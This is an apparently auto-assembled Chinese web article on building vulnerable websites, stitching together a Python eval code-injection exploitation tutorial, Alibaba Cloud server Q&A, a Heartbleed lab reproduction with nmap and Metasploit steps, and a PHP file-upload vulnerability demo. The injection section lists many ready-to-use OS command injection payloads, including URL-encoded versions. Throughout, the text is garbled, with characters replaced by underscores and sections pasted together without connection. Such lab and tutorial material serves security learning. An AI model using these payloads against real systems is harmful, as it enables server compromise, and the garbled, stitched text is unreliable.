当前位置:首页 > 手机数码 >

搭建漏洞网站_搭建漏洞网站违法吗

2024-09-10 12:41:01 作者:admin

搭建漏洞网站_搭建漏洞网站违法吗

在接下来的时间里,我将尽力回答大家关于搭建漏洞网站的问题,希望我的解答能够给大家带来一些思考。关于搭建漏洞网站的话题,我们开始讲解吧。

文章目录列表:

1.如何使用python查找网站漏洞

2.如何使用阿里云服务器如何使用阿里云服务器搭建网站

3.心脏滴血漏洞搭建与复现修复(CVE-2014-0160)OpenSSL Heartbleed漏洞

4.文件上传漏洞如何搭建?

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在_近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一_立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone /sethsec/PyCodeInjection.gitcd_uln_

./install_requirements.sh

python PyCodeInjection_.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:

\

大家可以看到,eval()函数是上述代码中_一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload:

\

我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅

参考资料:

[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressi_, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicol_eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

\

请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjecti_hell

你可以直接访问PyCodeInjecti_hell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

如何使用阿里云服务器如何使用阿里云服务器搭建网站

如何使用和访问阿里云ECS服务器

Ecs服务器设置

云的安全设置主要包括以下几个重要方面:

1.首先是服务器的用户管理,很多攻击和_,首先是系统的远程登录。毕竟获得登录用户后,就可以进入系统进行操作了,所以首先要做的就是禁止root超级用户的远程登录。

2.将ssh的默认端口更改为其他不常用的端口。你可能不知道,我们的服务器其实每天都在被很多扫描工具扫描,尤其是针对Linux服务器默认的ssh端口。扫描22端口后,扫描工具可能会尝试_并登录。修改ssh的默认端口可以降低被扫描和暴力登录的概率。此外,还可以使用fail2ban等程序防止ssh被暴力_。原理是在多次登录尝试失败后,该IP被禁止登录。

3.SSH改为用密钥登录,不用担心暴力_,因为对方拿不到你的密钥,比密码登录安全多了。

4.请务必定期检查和升级您的网站程序和相关组件,并及时修复那些已知的主要漏洞。网上也有很多爬虫机器人每天扫描各种网站,试图寻找系统漏洞。即使你做好了服务器用户权限管理和登录保护,网站程序还是有可能被黑客入侵。

5.另外,如果云服务器上运行多个网站系统(博客企业官网)。我推荐使用docker容器隔离运行环境,将每个程序放在单独的容器中运行,这样即使服务器上的某个网站程序被_入侵,也会被禁锢在被入侵的容器中,不会影响其他容器或者系统本身。具体信息可以在阿里云上查到。

公司给了我阿里云服务器的账户、密码、IP地址,请问我要怎么使用?

远程链接啊电脑上不都有个远程桌面的程序嘛输入IP然后会自动链接按要求输入账户和密码即可如果服务器是linux系统的就用putty链接服务器。也有可能给你的是FTP帐号密码你是用FTP上传工具就可以上传的。

国外域名怎么使用国内服务器,比如阿里云?

国外注册的域名有解析面板的把解析那里的A记录IP改成阿里云的国内IP就可以使用了。

阿里云用的什么服务器?

用的阿里云服务器,在购买云服务器后,获取云服务器时间缩短到10-15分钟。当计算资源需求发生改变时,可以按照阿里云网站提供的资源套餐随时进行计算资源的提升。

云服务器控制面板整合了对于云服务器的常用管理功能,通过云服务器控制面板可以看到云服务器的配置信息,而且可以对云服务器执行重启、关闭、启动、重置、更改密码、远程连接、更换操作系统等操作。而且还可以随时查看当天云服务器的监控信息。

网站做好了,只能在本地访问?怎么放到服务器上?已经有阿里云服务器了?

本地既然可以正常运行,说明你的网站已经做好了,你用的是阿里云,那就在阿里云服务器里面搭建网站运行环境,如asp,php,.net等,配置好网站环境之后,把程序上传上去就可以了,然后买个域名,解析到服务器上,就可以正常访问了,国内服务器是需要备案的

如何远程连接阿里云主机服务器?

如果你用的WIN系统:在本地电脑点开始-运行,输入mstsc按确定,按提示输入云主机的IP用户和密码,点登录.即可远程连接.如果你用的LINUX系统:建议下载一个PUTTY远程连接工具,运行.按提示输入IP.连接,然后依次输入用户和密码,即可远程连接.不仅是阿里云,所有的云主机都是这样的连接方法,若有云主机方面问题需要帮忙的可以找我.

心脏滴血漏洞搭建与复现修复(CVE-2014-0160)OpenSSL Heartbleed漏洞

OpenSSL1.0.1版本

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。

环境:

靶机:Vulhub环境? 攻击机:kali Linux

这里使用的是Vulhub一键搭建漏洞测试靶场

https://vulhub.org/#/environments/openssl/heartbleed/

访问看一下

先使用nmap扫描端口

可以使用nmap自带的Heartbleed漏洞检测脚本

nmap -sV -p 443 --script ssl-heartbleed.nse 目标IP

m_利用

1.搜索Heartbleed模块:

2.引用_个选项,show opti_查看需要设置的参数

set rhosts ?ip

set rport 端口

set_erbose true?设置verbose不然显示不出信息

抓取的数据有点乱,可以使用脚本抓取我们想要的

1.将受影响的服务器下线,避免它继续泄露敏感信息。

2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。

3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。

4.服务器上线。

5.撤销旧认证。

6.撤销现有的会话cookies。

7.要求用户修改密码。

文件上传漏洞如何搭建?

文件上传是Web应用中比较常见的功能,用户经常会通过文件上传的功能分享照片、修改头像或上传附件等操作;文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力;文件上传本身是一个网站正常的业务需求,但如果文件在上传之后,服务器端没有妥善的处理,就会导致严重的后果。简单写一个php上传代码演示php上传漏洞。

1.首先搭建phpstudy的安装环境,在phpstudy网站根目录建立php演示文件夹,放入php文件上传代码。

2.php文件上传漏洞演示代码,代码未限制任何文件属性的上传。

3.

写一个phpinfo.php文件,通过浏览器访问进行上传。

4.

提示上传成功,保存于uploads路径中,可以猜想保存路径为http://10.10.10.1/php/uploads

5.

尝试访问phpinfo.php文件使用刚才猜想的路径,http://10.10.10.1/php/uploads/phpinfo.php,phpinfo函数被执行。

好了,今天关于“搭建漏洞网站”的话题就讲到这里了。希望大家能够对“搭建漏洞网站”有更深入的认识,并从我的回答中得到一些启示。如果您有任何问题或需要进一步的信息,请随时告诉我。